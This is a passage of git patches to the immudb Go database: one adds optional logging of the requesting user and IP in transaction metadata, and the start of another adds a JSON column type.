a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 92db3eaa8d..542e01764c 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -90,6 +90,7 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().MarkHidden("sessions-guard-check-interval") cmd.Flags().Bool("grpc-reflection", options.GRPCReflectionServerEnabled, "GRPC reflection server enabled") cmd.Flags().Bool("swaggerui", options.SwaggerUIEnabled, "Swagger UI enabled") + cmd.Flags().Bool("log-request-metadata", options.LogRequestMetadata, "log request information in transaction metadata") flagNameMapping := map[string]string{ "replication-enabled": "replication-is-replica", diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index b4132f23bf..328b901d82 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -84,6 +84,7 @@ func parseOptions() (options *server.Options, err error) { grpcReflectionServerEnabled := viper.GetBool("grpc-reflection") swaggerUIEnabled := viper.GetBool("swaggerui") + logRequestMetadata := viper.GetBool("log-request-metadata") s3Storage := viper.GetBool("s3-storage") s3RoleEnabled := viper.GetBool("s3-role-enabled") @@ -153,7 +154,8 @@ func parseOptions() (options *server.Options, err error) { WithPProf(pprof). WithLogFormat(logFormat). WithSwaggerUIEnabled(swaggerUIEnabled). - WithGRPCReflectionServerEnabled(grpcReflectionServerEnabled) + WithGRPCReflectionServerEnabled(grpcReflectionServerEnabled). + WithLogRequestMetadata(logRequestMetadata) return options, nil } diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 4cc70461f6..e7ad6a04c3 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1549,7 +1549,8 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader return nil, fmt.Errorf("%w: transaction does not validate against header", err) } - if len(otx.entries) == 0 && otx.metadata.IsEmpty() { + // extra metadata are specified by the client and thus they are only allowed when entries is non empty + if len(otx.entries) == 0 && (otx.metadata.IsEmpty() || otx.metadata.HasExtraOnly()) { return nil, ErrNoEntriesProvided } diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 2ec7205708..b4a1b6d041 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -178,7 +178,7 @@ func (tx *OngoingTx) IsReadOnly() bool { func (tx *OngoingTx) WithMetadata(md *TxMetadata) *OngoingTx { tx.metadata = md - return nil + return tx } func (tx *OngoingTx) Timestamp() time.Time { diff --git a/embedded/store/tx_metadata.go b/embedded/store/tx_metadata.go index 0f21ec9b4a..e144e9bd63 100644 --- a/embedded/store/tx_metadata.go +++ b/embedded/store/tx_metadata.go @@ -131,6 +131,10 @@ func (md *TxMetadata) IsEmpty() bool { return md == nil || len(md.attributes) == 0 } +func (md *TxMetadata) HasExtraOnly() bool { + return len(md.attributes) == 1 && md.Extra() != nil +} + func (md *TxMetadata) Equal(amd *TxMetadata) bool { if amd == nil || md == nil { return false diff --git a/pkg/api/schema/metadata.go b/pkg/api/schema/metadata.go new file mode 100644 index 0000000000..1757ad5891 --- /dev/null +++ b/pkg/api/schema/metadata.go @@ -0,0 +1,101 @@ +package schema + +import ( + "context" + "errors" +) + +const maxMetadataLen = 256 + +var ( + ErrEmptyMetadataKey = errors.New("metadata key cannot be empty") + ErrEmptyMetadataValue = errors.New("metadata value cannot be empty") + ErrMetadataTooLarge = errors.New("metadata exceeds maximum size") + ErrCorruptedMetadata = errors.New("corrupted metadata") +) + +const ( + UserRequestMetadataKey = "usr" + IpRequestMetadataKey = "ip" +) + +type Metadata map[string]string + +func (m Metadata) Marshal() ([]byte, error) { + if err := m.validate(); err != nil { + return nil, err + } + + var data [maxMetadataLen]byte + + off := 0 + for k, v := range m { + data[off] = byte(len(k) - 1) + data[off+1] = byte(len(v) - 1) + + off += 2 + copy(data[off:], []byte(k)) + off += len(k) + + copy(data[off:], []byte(v)) + off += len(v) + } + return data[:off], nil +} + +func (m Metadata) validate() error { + size := 0 + for k, v := range m { + if len(k) == 0 { + return ErrEmptyMetadataKey + } + + if len(v) == 0 { + return ErrEmptyMetadataValue + } + + size += len(k) + len(v) + 2 + + if size > maxMetadataLen { + return ErrMetadataTooLarge + } + } + return nil +} + +func (m Metadata) Unmarshal(data []byte) error { + off := 0 + for off <= len(data)-2 { + keySize := int(data[off]) + 1 + valueSize := int(data[off+1]) + 1 + + off += 2 + + if off+keySize+valueSize > len(data) { + return ErrCorruptedMetadata + } + + m[string(data[off:off+keySize])] = string(data[off+keySize : off+keySize+valueSize]) + + off += keySize + valueSize + } + + if off != len(data) { + return ErrCorruptedMetadata + } + return nil +} + +type metadataKey struct{} + +func ContextWithMetadata(ctx context.Context, md Metadata) context.Context { + return context.WithValue(ctx, metadataKey{}, md) +} + +func MetadataFromContext(ctx context.Context) Metadata { + md, ok := ctx.Value(metadataKey{}).(Metadata) + if !ok { + return nil + } + return md +} diff --git a/pkg/api/schema/metadata_test.go b/pkg/api/schema/metadata_test.go new file mode 100644 index 0000000000..74ac47bd0a --- /dev/null +++ b/pkg/api/schema/metadata_test.go @@ -0,0 +1,58 @@ +package schema + +import ( + "testing" + + "github.com/stretchr/testify/require" +) + +func TestMetadataMarshalUnmarshal(t *testing.T) { + meta := Metadata{ + "user": "default", + "ip": "127.0.0.1:8080", + } + + data, err := meta.Marshal() + require.NoError(t, err) + + t.Run("valid metadata", func(t *testing.T) { + unmarshalled := Metadata{} + err := unmarshalled.Unmarshal(data) + require.NoError(t, err) + require.Equal(t, meta, unmarshalled) + }) + + t.Run("corrupted metadata", func(t *testing.T) { + unmarshalled := Metadata{} + err := unmarshalled.Unmarshal(data[:len(data)/2]) + require.ErrorIs(t, err, ErrCorruptedMetadata) + }) + + t.Run("empty metadata", func(t *testing.T) { + m := Metadata{} + data, err := m.Marshal() + require.NoError(t, err) + require.Empty(t, data) + + unmarshalled := Metadata{} + err = unmarshalled.Unmarshal([]byte{}) + require.NoError(t, err) + require.Empty(t, unmarshalled) + }) + + t.Run("invalid metadata", func(t *testing.T) { + x := make([]byte, 256) + + m := Metadata{"x": string(x)} + _, err := m.Marshal() + require.ErrorIs(t, err, ErrMetadataTooLarge) + + m = Metadata{"": "v"} + _, err = m.Marshal() + require.ErrorIs(t, err, ErrEmptyMetadataKey) + + m = Metadata{"k": ""} + _, err = m.Marshal() + require.ErrorIs(t, err, ErrEmptyMetadataValue) + }) +} diff --git a/pkg/auth/passwords.go b/pkg/auth/passwords.go index e64bb29c06..c84de9a48d 100644 --- a/pkg/auth/passwords.go +++ b/pkg/auth/passwords.go @@ -40,8 +40,10 @@ func ComparePasswords(hashedPassword []byte, plainPassword []byte) error { return bcrypt.CompareHashAndPassword(hashedPassword, plainPassword) } -const minPasswordLen = 8 -const maxPasswordLen = 32 +const ( + minPasswordLen = 8 + maxPasswordLen = 32 +) // PasswordRequirementsMsg message used to inform the user about password strength requirements var PasswordRequirementsMsg = fmt.Sprintf( diff --git a/pkg/auth/serverinterceptors.go b/pkg/auth/serverinterceptors.go index 396c0014db..6fc6ecfff7 100644 --- a/pkg/auth/serverinterceptors.go +++ b/pkg/auth/serverinterceptors.go @@ -73,9 +73,9 @@ func ServerUnaryInterceptor(ctx context.Context, req interface{}, info *grpc.Una } var localAddress = map[string]struct{}{ - "127.0.0.1": struct{}{}, - "localhost": struct{}{}, - "bufconn": struct{}{}, + "127.0.0.1": {}, + "localhost": {}, + "bufconn": {}, } func isLocalClient(ctx context.Context) bool { diff --git a/pkg/auth/user.go b/pkg/auth/user.go index 5d5545fee5..57e80a0b69 100644 --- a/pkg/auth/user.go +++ b/pkg/auth/user.go @@ -39,11 +39,13 @@ type User struct { CreatedAt time.Time `json:"createdat"` //time in which this user is created/updated } -// SysAdminUsername the system admin username -var SysAdminUsername = "immudb" +var ( + // SysAdminUsername the system admin username + SysAdminUsername = "immudb" -// SysAdminPassword the admin password (can be default or from command flags, config or env var) -var SysAdminPassword = SysAdminUsername + // SysAdminPassword the admin password (can be default or from command flags, config or env var) + SysAdminPassword = SysAdminUsername +) // SetPassword Hashes and salts the password and assigns it to hashedPassword of User func (u *User) SetPassword(plainPassword []byte) ([]byte, error) { @@ -63,10 +65,16 @@ func (u *User) ComparePasswords(plainPassword []byte) error { return ComparePasswords(u.HashedPassword, plainPassword) } -// IsValidUsername is a regexp function used to check username requirements -var IsValidUsername = regexp.MustCompile(`^[a-zA-Z0-9_]+$`).MatchString +const maxUsernameLen = 63 + +var usernameRegex = regexp.MustCompile(`^[a-zA-Z0-9_]+$`) + +// IsValidUsername is a function used to check username requirements +func IsValidUsername(user string) bool { + return len(user) <= maxUsernameLen && usernameRegex.MatchString(user) +} -//HasPermission checks if user has such permission for this database +// HasPermission checks if user has such permission for this database func (u *User) HasPermission(database string, permission uint32) bool { for _, val := range u.Permissions { if (val.Database == database) && @@ -77,7 +85,7 @@ func (u *User) HasPermission(database string, permission uint32) bool { return false } -//HasAtLeastOnePermission checks if user has this permission for at least one database +// HasAtLeastOnePermission checks if user has this permission for at least one database func (u *User) HasAtLeastOnePermission(permission uint32) bool { for _, val := range u.Permissions { if val.Permission == permission { @@ -87,7 +95,7 @@ func (u *User) HasAtLeastOnePermission(permission uint32) bool { return false } -//WhichPermission returns the permission that this user has on this database +// WhichPermission returns the permission that this user has on this database func (u *User) WhichPermission(database string) uint32 { if u.IsSysAdmin { return PermissionSysAdmin @@ -100,7 +108,7 @@ func (u *User) WhichPermission(database string) uint32 { return PermissionNone } -//RevokePermission revoke database permission from user +// RevokePermission revoke database permission from user func (u *User) RevokePermission(database string) bool { for i, val := range u.Permissions { if val.Database == database { @@ -112,7 +120,7 @@ func (u *User) RevokePermission(database string) bool { return false } -//GrantPermission add permission to database +// GrantPermission add permission to database func (u *User) GrantPermission(database string, permission uint32) bool { //first remove any previous permission for this db u.RevokePermission(database) diff --git a/pkg/database/all_ops.go b/pkg/database/all_ops.go index 584f1ce95c..eb5278ec1e 100644 --- a/pkg/database/all_ops.go +++ b/pkg/database/all_ops.go @@ -62,7 +62,6 @@ func (d *db) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.T kmap := make(map[[sha256.Size]byte]bool) for i, op := range req.Operations { - e := &store.EntrySpec{} switch x := op.Operation.(type) { diff --git a/pkg/database/database.go b/pkg/database/database.go index 0f266455a7..3c6fcdc0ee 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -36,18 +36,22 @@ import ( "github.com/codenotary/immudb/pkg/api/schema" ) -const MaxKeyResolutionLimit = 1 -const MaxKeyScanLimit = 2500 - -var ErrKeyResolutionLimitReached = errors.New("key resolution limit reached. It may be due to cyclic references") -var ErrResultSizeLimitExceeded = errors.New("result size limit exceeded") -var ErrResultSizeLimitReached = errors.New("result size limit reached") -var ErrIllegalArguments = store.ErrIllegalArguments -var ErrIllegalState = store.ErrIllegalState -var ErrIsReplica = errors.New("database is read-only because it's a replica") -var ErrNotReplica = errors.New("database is NOT a replica") -var ErrReplicaDivergedFromPrimary = errors.New("replica diverged from primary") -var ErrInvalidRevision = errors.New("invalid key revision number") +const ( + MaxKeyResolutionLimit = 1 + MaxKeyScanLimit = 2500 +) + +var ( + ErrKeyResolutionLimitReached = errors.New("key resolution limit reached. It may be due to cyclic references") + ErrResultSizeLimitExceeded = errors.New("result size limit exceeded") + ErrResultSizeLimitReached = errors.New("result size limit reached") + ErrIllegalArguments = store.ErrIllegalArguments + ErrIllegalState = store.ErrIllegalState + ErrIsReplica = errors.New("database is read-only because it's a replica") + ErrNotReplica = errors.New("database is NOT a replica") + ErrReplicaDivergedFromPrimary = errors.New("replica diverged from primary") + ErrInvalidRevision = errors.New("invalid key revision number") +) type DB interface { GetName() string @@ -388,7 +392,7 @@ func (d *db) set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, return nil, ErrIllegalArguments } - tx, err := d.st.NewWriteOnlyTx(ctx) + tx, err := d.newWriteOnlyTx(ctx) if err != nil { return nil, err } @@ -421,7 +425,6 @@ func (d *db) set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, } for i := range req.Preconditions { - c, err := PreconditionFromProto(req.Preconditions[i]) if err != nil { return nil, err @@ -447,6 +450,40 @@ func (d *db) set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, return schema.TxHeaderToProto(hdr), nil } +func (d *db) newWriteOnlyTx(ctx context.Context) (*store.OngoingTx, error) { + tx, err := d.st.NewWriteOnlyTx(ctx) + if err != nil { + return nil, err + } + return d.txWithMetadata(ctx, tx) +} + +func (d *db) newTx(ctx context.Context, opts *store.TxOptions) (*store.OngoingTx, error) { + tx, err := d.st.NewTx(ctx, opts) + if err != nil { + return nil, err + } + return d.txWithMetadata(ctx, tx) +} + +func (d *db) txWithMetadata(ctx context.Context, tx *store.OngoingTx) (*store.OngoingTx, error) { + meta := schema.MetadataFromContext(ctx) + if len(meta) > 0 { + txmd := store.NewTxMetadata() + + data, err := meta.Marshal() + if err != nil { + return nil, err + } + + if err := txmd.WithExtra(data); err != nil { + return nil, err + } + return tx.WithMetadata(txmd), nil + } + return tx, nil +} + func checkKeyRequest(req *schema.KeyRequest) error { if req == nil { return fmt.Errorf( @@ -853,7 +890,7 @@ func (d *db) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema }) } - tx, err := d.st.NewTx(ctx, opts) + tx, err := d.newTx(ctx, opts) if err != nil { return nil, err } diff --git a/pkg/database/sql.go b/pkg/database/sql.go index 77f8cf73d7..ab1f973197 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -304,6 +304,16 @@ func (d *db) NewSQLTx(ctx context.Context, opts *sql.TxOptions) (tx *sql.SQLTx, }() go func() { + md := schema.MetadataFromContext(ctx) + if len(md) > 0 { + data, err := md.Marshal() + if err != nil { + errChan <- err + return + } + opts = opts.WithExtra(data) + } + tx, err = d.sqlEngine.NewTx(txCtx, opts) if err != nil { errChan <- err diff --git a/pkg/integration/client_test.go b/pkg/integration/client_test.go index cd5e5dd5ae..ab01efbb5a 100644 --- a/pkg/integration/client_test.go +++ b/pkg/integration/client_test.go @@ -69,6 +69,7 @@ func setupTestServerAndClient(t *testing.T) (*servertest.BufconnServer, ic.ImmuC WithWebServer(true). WithDir(filepath.Join(t.TempDir(), "data")). WithAuth(true). + WithLogRequestMetadata(true). WithSigningKey("./../../test/signer/ec1.key"), ) @@ -1650,3 +1651,34 @@ func (ts TokenServiceMock) WithHds(hds homedir.HomedirService) tokenservice.Toke func (ts TokenServiceMock) WithTokenFileName(tfn string) tokenservice.TokenService { return ts } + +func TestServerLogRequestMetadata(t *testing.T) { + _, client, ctx := setupTestServerAndClient(t) + + requireMetadataPresent := func(hdr *schema.TxHeader) { + txmd := schema.Metadata{} + err := txmd.Unmarshal(hdr.Metadata.Extra) + require.NoError(t, err) + + require.Equal(t, schema.Metadata{schema.UserRequestMetadataKey: auth.SysAdminUsername, schema.IpRequestMetadataKey: "bufconn"}, txmd) + } + + hdr, err := client.Set(ctx, []byte("test"), []byte("test")) + require.NoError(t, err) + + requireMetadataPresent(hdr) + + hdr1, err := client.VerifiedSet(ctx, []byte("test"), []byte("test")) + require.NoError(t, err) + + requireMetadataPresent(hdr1) + require.NoError(t, err) + + _, err = client.SQLExec(ctx, "CREATE TABLE mytable (id INTEGER, PRIMARY KEY id)", nil) + require.NoError(t, err) + + tx, err := client.TxByID(ctx, 3) + require.NoError(t, err) + + requireMetadataPresent(tx.Header) +} diff --git a/pkg/pgsql/server/initialize_session.go b/pkg/pgsql/server/initialize_session.go index 8b0dff5346..8f32763214 100644 --- a/pkg/pgsql/server/initialize_session.go +++ b/pkg/pgsql/server/initialize_session.go @@ -154,6 +154,7 @@ func (s *session) HandleStartup(ctx context.Context) (err error) { if !ok || user == "" { return pserr.ErrUsernameNotprovided } + s.user = user db, ok := s.connParams["database"] if !ok { diff --git a/pkg/pgsql/server/options.go b/pkg/pgsql/server/options.go index 76aa0f93ea..f01a32af87 100644 --- a/pkg/pgsql/server/options.go +++ b/pkg/pgsql/server/options.go @@ -55,6 +55,12 @@ func TLSConfig(tlsConfig *tls.Config) Option { } } +func LogRequestMetadata(enabled bool) Option { + return func(args *pgsrv) { + args.logRequestMetadata = enabled + } +} + func DatabaseList(dbList database.DatabaseList) Option { return func(args *pgsrv) { args.dbList = dbList diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index 9272247b54..c716124e7c 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -303,7 +303,12 @@ func (s *session) fetchAndWriteResults(statements string, parameters []*schema.N } func (s *session) query(st *sql.SelectStmt, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { - reader, err := s.db.SQLQueryPrepared(s.ctx, s.tx, st, schema.NamedParamsFromProto(parameters)) + tx, err := s.sqlTx() + if err != nil { + return err + } + + reader, err := s.db.SQLQueryPrepared(s.ctx, tx, st, schema.NamedParamsFromProto(parameters)) if err != nil { return err } @@ -332,7 +337,12 @@ func (s *session) exec(st sql.SQLStmt, namedParams []*schema.NamedParam, resultC params[p.Name] = schema.RawValue(p.Value) } - ntx, _, err := s.db.SQLExecPrepared(s.ctx, s.tx, []sql.SQLStmt{st}, params) + tx, err := s.sqlTx() + if err != nil { + return err + } + + ntx, _, err := s.db.SQLExecPrepared(s.ctx, tx, []sql.SQLStmt{st}, params) s.tx = ntx return err diff --git a/pkg/pgsql/server/server.go b/pkg/pgsql/server/server.go index 3b6f7c216d..2087ca20b6 100644 --- a/pkg/pgsql/server/server.go +++ b/pkg/pgsql/server/server.go @@ -31,16 +31,17 @@ import ( ) type pgsrv struct { - m sync.RWMutex - running bool - maxConnections int - tlsConfig *tls.Config - logger logger.Logger - host string - port int - immudbPort int - dbList database.DatabaseList - listener net.Listener + m sync.RWMutex + running bool + maxConnections int + tlsConfig *tls.Config + logger logger.Logger + logRequestMetadata bool + host string + port int + immudbPort int + dbList database.DatabaseList + listener net.Listener } type PGSQLServer interface { @@ -104,7 +105,7 @@ func (s *pgsrv) Serve() (err error) { } func (s *pgsrv) newSession(conn net.Conn) Session { - return newSession(conn, s.host, s.immudbPort, s.logger, s.tlsConfig, s.dbList) + return newSession(conn, s.host, s.immudbPort, s.logger, s.tlsConfig, s.logRequestMetadata, s.dbList) } func (s *pgsrv) Stop() (err error) { diff --git a/pkg/pgsql/server/session.go b/pkg/pgsql/server/session.go index d35d1fd23a..a76278064f 100644 --- a/pkg/pgsql/server/session.go +++ b/pkg/pgsql/server/session.go @@ -19,11 +19,13 @@ package server import ( "context" "crypto/tls" + "strings" "net" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/pgsql/errors" @@ -32,18 +34,21 @@ import ( ) type session struct { - immudbHost string - immudbPort int - tlsConfig *tls.Config - log logger.Logger + immudbHost string + immudbPort int + tlsConfig *tls.Config + log logger.Logger + logRequestMetadata bool dbList database.DatabaseList client client.ImmuClient - ctx context.Context - db database.DB - tx *sql.SQLTx + ctx context.Context + user string + ipAddr string + db database.DB + tx *sql.SQLTx mr MessageReader @@ -62,18 +67,32 @@ type Session interface { Close() error } -func newSession(c net.Conn, immudbHost string, immudbPort int, - log logger.Logger, tlsConfig *tls.Config, dbList database.DatabaseList) *session { +func newSession( + c net.Conn, + immudbHost string, + immudbPort int, + log logger.Logger, + tlsConfig *tls.Config, + logRequestMetadata bool, + dbList database.DatabaseList, +) *session { + addr := c.RemoteAddr().String() + i := strings.Index(addr, ":") + if i >= 0 { + addr = addr[:i] + } return &session{ - immudbHost: immudbHost, - immudbPort: immudbPort, - tlsConfig: tlsConfig, - log: log, - dbList: dbList, - mr: NewMessageReader(c), - statements: make(map[string]*statement), - portals: make(map[string]*portal), + immudbHost: immudbHost, + immudbPort: immudbPort, + tlsConfig: tlsConfig, + log: log, + logRequestMetadata: logRequestMetadata, + dbList: dbList, + ipAddr: addr, + mr: NewMessageReader(c), + statements: make(map[string]*statement), + portals: make(map[string]*portal), } } @@ -140,3 +159,18 @@ func (s *session) writeMessage(msg []byte) (int, error) { return s.mr.Write(msg) } + +func (s *session) sqlTx() (*sql.SQLTx, error) { + if s.tx != nil || !s.logRequestMetadata { + return s.tx, nil + } + + md := schema.Metadata{ + schema.UserRequestMetadataKey: s.user, + schema.IpRequestMetadataKey: s.ipAddr, + } + + // create transaction explicitly to inject request metadata + ctx := schema.ContextWithMetadata(s.ctx, md) + return s.db.NewSQLTx(ctx, sql.DefaultTxOptions()) +} diff --git a/pkg/server/options.go b/pkg/server/options.go index 91018e7115..f2fa5fc9e2 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -76,6 +76,7 @@ type Options struct { LogFormat string GRPCReflectionServerEnabled bool SwaggerUIEnabled bool + LogRequestMetadata bool } type RemoteStorageOptions struct { @@ -145,6 +146,7 @@ func DefaultOptions() *Options { PProf: false, GRPCReflectionServerEnabled: true, SwaggerUIEnabled: true, + LogRequestMetadata: false, } } @@ -496,6 +498,11 @@ func (o *Options) WithSwaggerUIEnabled(enabled bool) *Options { return o } +func (o *Options) WithLogRequestMetadata(enabled bool) *Options { + o.LogRequestMetadata = enabled + return o +} + // RemoteStorageOptions func (opts *RemoteStorageOptions) WithS3Storage(S3Storage bool) *RemoteStorageOptions { diff --git a/pkg/server/request_metadata_interceptor.go b/pkg/server/request_metadata_interceptor.go new file mode 100644 index 0000000000..e9daa6e409 --- /dev/null +++ b/pkg/server/request_metadata_interceptor.go @@ -0,0 +1,80 @@ +package server + +import ( + "context" + "strings" + + "github.com/codenotary/immudb/pkg/api/schema" + "google.golang.org/grpc" + "google.golang.org/grpc/metadata" + "google.golang.org/grpc/peer" +) + +func (s *ImmuServer) InjectRequestMetadataUnaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { + if !s.Options.LogRequestMetadata { + return handler(ctx, req) + } + return handler(s.withRequestMetadata(ctx), req) +} + +func (s *ImmuServer) InjectRequestMetadataStreamInterceptor(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error { + ctx := ss.Context() + if !s.Options.LogRequestMetadata { + return handler(srv, ss) + } + return handler(srv, &serverStreamWithContext{ServerStream: ss, ctx: s.withRequestMetadata(ctx)}) +} + +type serverStreamWithContext struct { + grpc.ServerStream + ctx context.Context +} + +func (s *serverStreamWithContext) Context() context.Context { + return s.ctx +} + +func (s *ImmuServer) withRequestMetadata(ctx context.Context) context.Context { + if !s.Options.LogRequestMetadata { + return ctx + } + + _, user, err := s.getLoggedInUserdataFromCtx(ctx) + if err != nil { + return ctx + } + + md := schema.Metadata{ + schema.UserRequestMetadataKey: user.Username, + } + + ip := ipAddrFromContext(ctx) + if len(ip) > 0 { + md[schema.IpRequestMetadataKey] = ip + } + return schema.ContextWithMetadata(ctx, md) +} + +func ipAddrFromContext(ctx context.Context) string { + md, ok := metadata.FromIncomingContext(ctx) + if ok { + // check for the headers forwarded by GRPC-gateway + if xffValues, ok := md["x-forwarded-for"]; ok && len(xffValues) > 0 { + return xffValues[0] + } else if xriValues, ok := md["x-real-ip"]; ok && len(xriValues) > 0 { + return xriValues[0] + } + } + + p, ok := peer.FromContext(ctx) + if !ok { + return "" + } + + addr := p.Addr.Network() + i := strings.Index(addr, ":") + if i < 0 { + return addr + } + return addr[:i] +} diff --git a/pkg/server/server.go b/pkg/server/server.go index c319739d5c..c91483b7d4 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -225,6 +225,7 @@ func (s *ImmuServer) Initialize() error { grpc_prometheus.UnaryServerInterceptor, auth.ServerUnaryInterceptor, s.SessionAuthInterceptor, + s.InjectRequestMetadataUnaryInterceptor, } sss := []grpc.StreamServerInterceptor{ ErrorMapperStream, // converts errors in gRPC ones. Need to be the first @@ -232,7 +233,9 @@ func (s *ImmuServer) Initialize() error { uuidContext.UUIDStreamContextSetter, grpc_prometheus.StreamServerInterceptor, auth.ServerStreamInterceptor, + s.InjectRequestMetadataStreamInterceptor, } + grpcSrvOpts = append( grpcSrvOpts, grpc.UnaryInterceptor(grpc_middleware.ChainUnaryServer(uis...)), @@ -258,6 +261,7 @@ func (s *ImmuServer) Initialize() error { pgsqlsrv.TLSConfig(s.Options.TLSConfig), pgsqlsrv.Logger(s.Logger), pgsqlsrv.DatabaseList(s.dbList), + pgsqlsrv.LogRequestMetadata(s.Options.LogRequestMetadata), ) if err = s.PgsqlSrv.Initialize(); err != nil { @@ -313,7 +317,7 @@ func (s *ImmuServer) Start() (err error) { if s.Options.WebServer { if err := s.setUpWebServer(context.Background()); err != nil { - log.Fatal(fmt.Sprintf("failed to setup web API/console server: %v", err)) + log.Fatalf("failed to setup web API/console server: %v", err) } defer func() { if err := s.webServer.Close(); err != nil { diff --git a/pkg/server/servertest/server.go b/pkg/server/servertest/server.go index 34fa0ebb7f..3a8f4ed11b 100644 --- a/pkg/server/servertest/server.go +++ b/pkg/server/servertest/server.go @@ -89,12 +89,14 @@ func (bs *BufconnServer) setupGrpcServer() { uuidContext.UUIDContextSetter, auth.ServerUnaryInterceptor, bs.immuServer.SessionAuthInterceptor, + bs.immuServer.InjectRequestMetadataUnaryInterceptor, )), grpc.StreamInterceptor(grpc_middleware.ChainStreamServer( server.ErrorMapperStream, bs.immuServer.KeepALiveSessionStreamInterceptor, uuidContext.UUIDStreamContextSetter, auth.ServerStreamInterceptor, + bs.immuServer.InjectRequestMetadataStreamInterceptor, )), ) } From bbb16089f5c59fbc9a07e1443686a305c53ab895 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Tue, 4 Jun 2024 14:08:29 +0200 Subject: [PATCH 1031/1062] Add support for JSON type Signed-off-by: Stefano Scafiti --- embedded/sql/catalog.go | 85 +++- embedded/sql/engine.go | 7 +- embedded/sql/engine_test.go | 429 ++++++++++++++++++- embedded/sql/file_sort.go | 101 +++-- embedded/sql/json_type.go | 211 ++++++++++ embedded/sql/num_operator.go | 1 - embedded/sql/options.go | 6 + embedded/sql/parser.go | 6 + embedded/sql/parser_test.go | 25 +- embedded/sql/proj_row_reader.go | 30 +- embedded/sql/row_reader.go | 80 +++- embedded/sql/sort_reader.go | 96 +++-- embedded/sql/sql_grammar.y | 19 + embedded/sql/sql_parser.go | 547 +++++++++++++------------ embedded/sql/stmt.go | 173 ++++++-- embedded/sql/stmt_test.go | 278 ++++++++++++- embedded/sql/type_conversion.go | 105 ++++- pkg/api/schema/docs.md | 2 +- pkg/api/schema/row_value.go | 2 - pkg/api/schema/schema.pb.go | 2 +- pkg/api/schema/schema.swagger.json | 2 +- pkg/api/schema/sql.go | 2 + pkg/client/sql.go | 4 + pkg/database/database.go | 19 +- pkg/integration/sql/sql_test.go | 84 +++- pkg/pgsql/server/bmessages/data_row.go | 6 + pkg/pgsql/server/pgmeta/pg_type.go | 17 +- pkg/pgsql/server/stmts_handler.go | 1 + 28 files changed, 1853 insertions(+), 487 deletions(-) create mode 100644 embedded/sql/json_type.go diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 8865e245ca..bb224b2373 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -20,6 +20,7 @@ import ( "bytes" "context" "encoding/binary" + "encoding/json" "errors" "fmt" "io" @@ -409,8 +410,8 @@ func (catlg *Catalog) newTable(name string, colsSpec map[uint32]*ColSpec, maxCol continue } - if cs.colName == revCol { - return nil, fmt.Errorf("%w(%s)", ErrReservedWord, revCol) + if isReservedCol(cs.colName) { + return nil, fmt.Errorf("%w(%s)", ErrReservedWord, cs.colName) } _, colExists := table.colsByName[cs.colName] @@ -533,8 +534,8 @@ func (t *Table) newIndex(unique bool, colIDs []uint32) (index *Index, err error) } func (t *Table) newColumn(spec *ColSpec) (*Column, error) { - if spec.colName == revCol { - return nil, fmt.Errorf("%w(%s)", ErrReservedWord, revCol) + if isReservedCol(spec.colName) { + return nil, fmt.Errorf("%w(%s)", ErrReservedWord, spec.colName) } if spec.autoIncrement { @@ -597,8 +598,8 @@ func (ctlg *Catalog) renameTable(oldName, newName string) (*Table, error) { } func (t *Table) renameColumn(oldName, newName string) (*Column, error) { - if newName == revCol { - return nil, fmt.Errorf("%w(%s)", ErrReservedWord, revCol) + if isReservedCol(newName) { + return nil, fmt.Errorf("%w(%s)", ErrReservedWord, newName) } if oldName == newName { @@ -1006,16 +1007,17 @@ func unmapColSpec(prefix, mkey []byte) (dbID, tableID, colID uint32, colType SQL } func asType(t string) (SQLValueType, error) { - if t == IntegerType || - t == Float64Type || - t == BooleanType || - t == VarcharType || - t == UUIDType || - t == BLOBType || - t == TimestampType { + switch t { + case IntegerType, + Float64Type, + BooleanType, + VarcharType, + UUIDType, + BLOBType, + TimestampType, + JSONType: return t, nil } - return t, ErrCorruptedData } @@ -1304,12 +1306,37 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b return nil, 0, ErrInvalidValue } +func getEncodeRawValue(val TypedValue, colType SQLValueType) (interface{}, error) { + if colType != JSONType || val.Type() == JSONType { + return val.RawValue(), nil + } + + if val.Type() != VarcharType { + return nil, fmt.Errorf("%w: invalid json value", ErrInvalidValue) + } + s, _ := val.RawValue().(string) + + raw := json.RawMessage(s) + if !json.Valid(raw) { + return nil, fmt.Errorf("%w: invalid json value", ErrInvalidValue) + } + return raw, nil +} + func EncodeValue(val TypedValue, colType SQLValueType, maxLen int) ([]byte, error) { - return 